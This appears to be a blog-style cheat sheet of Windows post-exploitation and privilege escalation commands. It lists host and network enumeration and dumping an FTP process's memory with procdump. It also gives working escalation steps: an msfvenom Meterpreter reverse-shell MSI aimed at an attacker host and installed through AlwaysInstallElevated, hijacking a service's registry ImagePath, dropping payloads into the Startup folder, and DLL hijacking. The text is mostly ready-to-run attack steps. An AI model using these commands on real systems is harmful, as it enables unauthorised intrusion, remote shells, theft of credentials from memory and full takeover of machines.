Various
Show who else is logged in.
qwinsta
Open the Event Viewer and search in the looks. Have fun!
Network enumeration
Show the network configuration. Are there multiple interfaces?
ipconfig /all
Routing information
route print
Show current network connections. After checking this command: CHECK all ports with the previous found ones!
netstat -ano
Check the ARP cache for other communication partners:
arp -a
Processes and services
If there are interesting services, refer to the services post.
Dump memory
- Get the full taskname with
tasklist | findstr /C:ftp - Upload procdump[64].exe
- Dump process memory with
procdump64.exe -accepteula -ma ftp.exe - Download the generated file
Windows Event Logging
Events are stored in the \system32\winevt\Logs directory.
The tool havabusa is a parser to analyse larger evtx-Files.
With PowerShell wevtutil, access can be made to the logging system. (More examples: See Incident Response Training March 2025)
List logs:
wevtutil el
Search for something
wevtutil el | select-string security
Registry
Autoelevated
Check if autoelevated is active for installers:
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
If it is set to 1:
- Create and upload payoad:
msfvenom -p windows/meterpreter/reverse_tcp lhost=$attackerip lport=4444 -f msi -o setup.msi - Execute it:
msiexec /quiet /qn /i C:\Temp\setup.msi
Alternative: In an existing session, use msf> use windows/local/always_install_elevated
Registry service escalation
Check in a Powershell session which groups have access to the registry key for services:
Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
Check if the current user is in a group (whoami /priv) which is listed in Access and has the FullControl flag set. If yes:
- Create an exe payload from the service template windows_service.c and upload it which should not run longer than 30 seconds. E.g. elevate the current user or create a new one or place a file somehwere.
- Register the file as a new service:
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\s64.exe /f - Start the service
sc start regsvc
Autostart/Autorun exploitations
Check if the user has write access to the autostart directory:
icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
If the output for the current user contains a F (=Full access), then copy a exe payload into the directory. As soon as an admin logged in, the exe is executed.
Alternative: Check the registry for autostart programs and check their directories as above.
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
DLL exploitation
Check if a process tried to load to a DLL which we can replace (or maybe the process tried different paths to load the DLL and we can write/create a DLL before the DLL it found usually). If yes, use windows_dll.c to create a DLL. (Use PowerUp to determine location.)
Leave a Reply
You must be logged in to post a comment.